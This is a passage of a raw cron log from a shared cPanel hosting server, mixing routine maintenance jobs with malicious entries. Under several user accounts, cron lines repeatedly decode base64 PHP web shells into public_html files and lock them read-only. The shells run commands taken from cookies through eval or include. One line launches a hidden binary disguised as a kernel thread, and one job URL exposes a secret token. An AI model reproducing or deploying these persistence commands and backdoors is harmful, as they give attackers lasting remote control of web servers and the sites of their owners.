yOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:58:01 medusa CROND[2139]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:58:01 medusa CROND[2141]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:59:01 medusa CROND[3663]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:59:01 medusa CROND[3674]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:59:01 medusa CROND[3675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:59:01 medusa CROND[3676]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:59:01 medusa CROND[3677]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 05:59:01 medusa CROND[3678]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:59:01 medusa CROND[3679]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:59:01 medusa CROND[3681]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:59:01 medusa CROND[3685]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:59:01 medusa CROND[3687]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:59:01 medusa CROND[3694]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:59:01 medusa CROND[3695]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:00:01 medusa CROND[5382]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 06:00:02 medusa CROND[5394]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5395]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Jun  7 06:00:02 medusa CROND[5396]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5397]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 06:00:02 medusa CROND[5398]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:00:02 medusa CROND[5399]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 06:00:02 medusa CROND[5405]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:00:02 medusa CROND[5407]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5408]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 06:00:02 medusa CROND[5410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5412]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Jun  7 06:00:02 medusa CROND[5414]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:00:02 medusa CROND[5411]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:00:02 medusa CROND[5417]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:00:02 medusa CROND[5415]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5420]: (root) CMD (/nutscripts/fix_packages_lve.sh)
Jun  7 06:00:02 medusa CROND[5413]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:00:02 medusa CROND[5402]: (root) CMD (find /var/cpanel/php/sessions -type f -mtime +1 -delete)
Jun  7 06:00:02 medusa CROND[5426]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:00:02 medusa CROND[5429]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:00:02 medusa CROND[5428]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Jun  7 06:00:02 medusa CROND[5427]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 06:00:02 medusa CROND[5438]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5440]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:00:02 medusa CROND[5434]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 06:00:02 medusa CROND[5450]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 06:00:02 medusa CROND[5446]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
